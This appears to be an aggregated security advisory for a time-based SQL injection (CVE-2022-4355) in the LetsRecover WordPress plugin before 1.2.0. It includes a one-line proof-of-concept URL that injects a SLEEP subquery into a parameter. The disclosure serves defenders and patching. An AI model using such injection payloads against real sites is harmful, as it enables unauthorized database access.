Lucene search
Daniel KrohmerWPEX-ID:221BF87B-69E2-4C53-971E-8516B798C759HistoryDec 09, 2022 - 12:00 a.m.
LetsRecover < 1.2.0 - Admin+ SQLi
2022-12-0900:00:00
Daniel Krohmer
217
letsrecover exploit sqli
EPSS
0.001
Percentile
43.1%
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin
https://example.com/wp-admin/admin.php?page=letsrecover-manual-notification&subscriber_id=111+AND+(SELECT+5926+FROM+(SELECT(SLEEP(5)))erUA)Related
nvd
nvd
CVE-2022-4355
2023-01-02 22:15:17
cve
cve
CVE-2022-4355
2023-01-02 22:15:17
prion
prion
Sql injection
2023-01-02 22:15:00
wpvulndb
wpvulndb
LetsRecover < 1.2.0 - Admin+ SQLi
2022-12-09 00:00:00
cvelist
cvelist
CVE-2022-4355 LetsRecover < 1.2.0 - Admin+ SQLi
2023-01-02 21:49:20
fedora
fedora
[SECURITY] Fedora 36 Update: curl-7.82.0-12.fc36
2022-12-28 01:40:29
[SECURITY] Fedora 37 Update: curl-7.85.0-5.fc37
2022-12-26 01:06:29